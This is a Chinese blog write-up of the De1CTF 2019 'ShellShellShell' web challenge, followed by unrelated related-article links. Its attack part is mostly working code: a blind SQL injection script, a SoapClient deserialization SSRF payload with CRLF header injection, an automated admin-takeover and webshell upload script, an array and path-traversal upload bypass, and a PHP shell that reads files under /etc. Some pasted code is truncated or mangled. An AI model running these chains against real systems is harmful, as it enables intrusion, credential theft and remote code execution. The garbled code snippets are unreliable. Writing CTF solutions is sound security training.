资讯专栏INFORMATION COLUMN

刷题[De1CTF 2019]ShellShellShell

pf_miles / 3718人阅读

摘要:如果成功,这将是一个管理员认证的会话。参数以的方式来指定参数内容,如果值是一个文件,则需要以的方式来指定。

关键字:sql注入,反序列化原生类,ssrf,绕过unlink()
这两题缝合出来的,tmd好难
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/
一个登录界面,action那输入register还可以注册,这里md5的验证码使用脚本爆破

# -*- coding:utf-8 -*-import hashlibfor num in range(10000,9999999999):    res = hashlib.md5(str(num).encode()).hexdigest()    if res[0:5] == "af1e5":         print(str(num))         break

注册一个test用户登陆查看,只有一个publish的功能
可能存在sql注入,但测试没啥反应
Dirsearch扫描目录发现有index.php~文件,是编辑器留下的备份文件

Action的被写死在一个列表里,可以看到还有个phpinfo
把config.php~ user.php~的也看一下
User.php这有个上传但需要admin权限
跟进上半部分这个insert函数,在config.php

写入的数据会先被get_column函数处理,会被用用反引号包裹起来
关键点其实是在preg_replace那,所有的反引号转换成了单引号,那么就可以进行注入了

使用`)去闭合,注入点在signature位置,最终执行的sql语句如图

# encoding=utf-8#python2import  requestsimport stringimport timeurl = "http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/index.php?action=publish"cookies = {"PHPSESSID": "vama32u1uclof287jhsrguv0q2"}data = {	"signature": "",	"mood": 0}table = string.digits + string.lowercase + string.uppercasedef post():        password = ""        for i in range(1, 33):                for j in table:                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以                    data["signature"] = signature			#print(data)                    try:                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)            #print(re.text)                    except:                        password += j                        print(password)                        break        print(password)def main():	post()if __name__ == "__main__":	main()

密码为jaivypassword
再看到登录这里,要登录admin用户还会检测ip,且是$_SERVER["REMOTE_ADDR"]无法伪造,那么只能找一个ssrf的点,进行登录
找到一个反序列化的点可以利用php原生类soapclient反序列化进行ssrf,通过?action=phpinfo看到php开启了soap拓展,这里当不是admin身份的时候进入这个if语句,然后取出第二行的数据进行反序列化

获取的是本机的ip,然后在对这段内容序列化后使用addslashes进行转义,可以利用mysql在读数据的时候会把括号内的16进制转成原来的字符串的特性绕过这个转义

生成序列化payload的脚本:

$target = "http://127.0.0.1/index.php?action=login";$post_string = "username=admin&password=jaivypassword&code=Ixk5iXwrUkJdacRF553V";$headers = array(    "X-Forwarded-For: 127.0.0.1",    "Cookie: PHPSESSID=gkpe4nhjg5dhv2l3kk5o6tglh4"    );$b = new SoapClient(null,array("location" => $target,"user_agent"=>"wupco^^Content-Type: application/x-www-form-urlencoded^^".join("^^",$headers)."^^Content-Length: ".(string)strlen($post_string)."^^^^".$post_string,"uri"      => "aaab"));$aaa = serialize($b);$aaa = str_replace("^^","/r/n",$aaa);$aaa = str_replace("&","&",$aaa);echo bin2hex($aaa);?>

这里的code还有PHPSESSID需要和我们准备用来登录的一样,从我们的浏览器预先生成一个会话,在本地解决验证码,并将PHPSESSID 与请求以及验证码的解决方案一起发送到验证码(验证码的解决方案与我们的会话相关联)。如果 SSRF 成功,这PHPSESSID将是一个管理员认证的会话。为了防止干扰开两个浏览器,一个打,一个准备登录
将生成的payload,打到sql注入的地方即可
上传那里没有什么阻碍,直接传即可,这里使用脚本自动化操作,https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py 拿原题脚本改了下

#python2import reimport sysimport stringimport randomimport requestsimport subprocessfrom itertools import productimport hashlib_target = "http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/"_action = _target + "index.php?action="def get_creds():    username = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))    password = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))    return username, passworddef solve_code(html):    code = re.search(r"Code/(substr/(md5/(/?/), 0, 5/) === ([0-9a-f]{5})/)", html).group(1)    for num in range(10000,99999999):        res = hashlib.md5(str(num).encode()).hexdigest()         if res[0:5] == code:              print(str(num))            return str(num)            break    def register(username, password):    resp = sess.get(_action+"register")    code = solve_code(resp.text)    sess.post(_action+"register", data={"username":username,"password":password,"code":code})    return Truedef login(username, password):    resp = sess.get(_action+"login")    code = solve_code(resp.text)    sess.post(_action+"login", data={"username":username,"password":password,"code":code})    return Truedef publish(sig, mood):    return sess.post(_action+"publish", data={"signature":sig,"mood":mood})#, proxies={"http":"127.0.0.1:8080"})def get_prc_now():    # date_default_timezone_set("PRC") is not important    return subprocess.check_output(["php", "-r", "date_default_timezone_set("PRC"); echo time();"])def get_admin_session():    sess = requests.Session()    resp = sess.get(_action+"login")    code = solve_code(resp.text)    return sess.cookies.get_dict()["PHPSESSID"], codedef brute_filename(prefix, ts, sessid):    ds = ["".join(i) for i in product(string.digits, repeat=3)]    ds += ["".join(i) for i in product(string.digits, repeat=2)]    # find uploaded file in max 1100 requests    for d in ds:        f = prefix + ts + d + ".jpg"        resp = requests.get(_target+"adminpic/"+f, cookies={"PHPSESSID":sessid})        if resp.status_code == 200:            return f    return Falseprint "[+] creating user session to trigger ssrf"sess = requests.Session()username, password = get_creds()print "[+] register({}, {})".format(username, password)register(username, password)print "[+] login({}, {})".format(username, password)login(username, password)print "[+] user session => " + sess.cookies.get_dict()["PHPSESSID"] + " "print "[+] getting fresh session to be authenticated as admin"phpsessid, code = get_admin_session()print codessrf = "http://127.0.0.1//x0d/x0aContent-Length:0/x0d/x0a/x0d/x0a/x0d/x0aPOST /index.php?action=login HTTP/1.1/x0d/x0aHost: 127.0.0.1/x0d/x0aCookie: PHPSESSID={}/x0d/x0aContent-Type: application/x-www-form-urlencoded/x0d/x0aContent-Length: {}/x0d/x0a/x0d/x0ausername=admin&password=jaivypassword&code={}/x0d/x0a/x0d/x0aPOST /foo/x0d/x0a".format(phpsessid, len(code)+43, code)print ssrfmood = "O:10:/"SoapClient/":4:{{s:3:/"uri/";s:{}:/"{}/";s:8:/"location/";s:39:/"http://127.0.0.1/index.php?action=login/";s:15:/"_stream_context/";i:0;s:13:/"_soap_version/";i:1;}}".format(len(ssrf), ssrf)mood = "0x"+"".join(map(lambda k: hex(ord(k))[2:].rjust(2, "0"), mood))payload = "a`,{})#".format(mood)print "[+] final sqli/ssrf payload: " + payloadprint "[+] injecting payload through sqli"resp = publish(payload, "0")print "[+] triggering object deserialization -> ssrf"sess.get(_action+"index")#, proxies={"http":"127.0.0.1:8080"})print "[+] admin session => " + phpsessid# switching to admin sessionsess = requests.Session()sess.cookies = requests.utils.cookiejar_from_dict({"PHPSESSID": phpsessid})print "[+] uploading stager"shell = {"pic": ("test.php", ", "image/jpeg")}resp = sess.post(_action+"publish", files=shell)#, proxies={"http":"127.0.0.1:8080"})print(resp.text)prc_now = get_prc_now()[:-1]  # get epoch immediatelyif "upload success" not in resp.text:    print "[-] failed to upload shell, check admin session manually"    sys.exit(0)

已经上传木马到/upload/test.php了蚁剑连接就行,密码cmd
根据提示在内网,打开虚拟终端,查看网卡信息,找到了内网的ip段,用插件可以扫描端口

用curl将页面内容保存下来,我这-O没保存成功 直接复制出去保存的


对于不是数组的filename进行了一堆严格的限制,但是没有对数组进行限制,所以我们可以考虑用数组进行绕过,要求filename的end和filename的[count-1]不能相等,那么直接传两个就行如:file[1]=111&file[2]=php

这里保存文件使用的随机文件名,以及最后的unlink删除文件,构造目录穿越的文件名进行绕过/…/shell.php
参考:https://blog.csdn.net/a3320315/article/details/104132751

利用postman构造phpcurl包

这里的file那shell.php的内容为

@<?php echo `find /etc -name *flag* -exec cat {} +`;

hello那的名字要和上传的文件名字一样,不然就访问不到了

Code那生成代码,但生成的并没有shell.php的内容,需要自己添加,参考赵总的,我这里懒得登录上传直接在蚁剑那新建了一个,保存完直接访问即可

$curl = curl_init();curl_setopt_array($curl, array(  CURLOPT_URL => "http://10.0.97.6",  CURLOPT_RETURNTRANSFER => true,  CURLOPT_ENCODING => "",  CURLOPT_MAXREDIRS => 10,  CURLOPT_TIMEOUT => 0,  CURLOPT_FOLLOWLOCATION => true,  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,  CURLOPT_CUSTOMREQUEST => "POST",  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW/r/nContent-Disposition: form-data; name=/"file/"; filename=/"shell.php/"/r/nContent-Type: false/r/n/r/n@,  CURLOPT_HTTPHEADER => array(    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",    "cache-control: no-cache",    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"  ),));$response = curl_exec($curl);curl_close($curl);echo $response;

当然这里上传文件的步骤也可以在虚拟终端里直接用curl,上传一个shell.php到终端同目录下

@<?php echo `find /etc -name *flag* -exec cat {} +`;

如果使用了-F参数,curl就会以 multipart/form-data
的方式发送POST请求。-F参数以name=value的方式来指定参数内容,如果值是一个文件,则需要以name=@file的方式来指定。

curl "http://10.0.97.6" -F "hello=test.php" -F "file=@shell.php" -F "file[1]=111" -F "file[2]=./../test.php"

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/122073.html

相关文章

  • 【前端刷题笔记02】字节跳动2019面试题

    摘要:为什么状态需要经过最大报文段生存时间才能返回到状态虽然按道理,四个报文都发送完毕,我们可以直接进入状态了,但是我们必须假象网络是不可靠的,有可以最后一个丢失。所以状态就是用来重发可能丢失的报文。 1、TCP的三次握手和四次挥手 1.1 三次握手: 客户端请求 -> 服务器响应 -> 客户端确认收到响应,建立连接(保证网络正常) showImg(https://segmentfault....

    amc 评论0 收藏0
  • 【前端刷题笔记01】 - 字节跳动2019春招面试题

    摘要:某个请求任务耗时严重,不会影响到其它连接的正常执行如何实现长连接 1、sleep函数该如何实现的 sleep函数,将程序执行挂起一段时间,阻塞程序的运行 ES6方案: function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } async function test() { con...

    马忠志 评论0 收藏0
  • LeetCode 攻略 - 2019 年 8 月上半月汇总(109 题攻略)

    摘要:每天会折腾一道及以上题目,并将其解题思路记录成文章,发布到和微信公众号上。三汇总返回目录在月日月日这半个月中,做了汇总了数组知识点。或者拉到本文最下面,添加的微信等会根据题解以及留言内容,进行补充,并添加上提供题解的小伙伴的昵称和地址。 LeetCode 汇总 - 2019/08/15 Create by jsliang on 2019-08-12 19:39:34 Recently...

    tracy 评论0 收藏0
  • 小李飞刀:刷题第四弹!

    摘要:第二题罗马数字转整数难度简单罗马数字包含以下七种字符,,,,,和。字符数值例如,罗马数字写做,即为两个并列的。通常情况下,罗马数字中小的数字在大的数字的右边。给定一个罗马数字,将其转换成整数。 随便说点啥 TIME:2019-02-01昨晚其实刷了题来着,但是没有解出来,哭泣!但是,今天重新写了下,解出来咯~所以今天的题量要增加咯~我会加油的! 第一题 14. 最长公共前缀难度:简单 ...

    luffyZh 评论0 收藏0
  • weekly 2019-01-29 && 年终总结

    摘要:所以,我大概觉得,无论是做什么开发,可选的技术栈都不是唯一,并且技术栈永远是推陈出新的,所以一定要有一套属于自己的开发流,并且要对此深入学习和探究,此处又深刻体会到方向的重要性。 本文开始其实只是weekly,但是想到年末了,最近的学习和工作也是体会颇多,于是写此文,也是为了理清思路 nodeJS 学习 知识点: 概念 阻塞IO(同步IO)和非阻塞IO(异步IO)和 事件驱动(事件回...

    tinna 评论0 收藏0

发表评论

0条评论

pf_miles

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<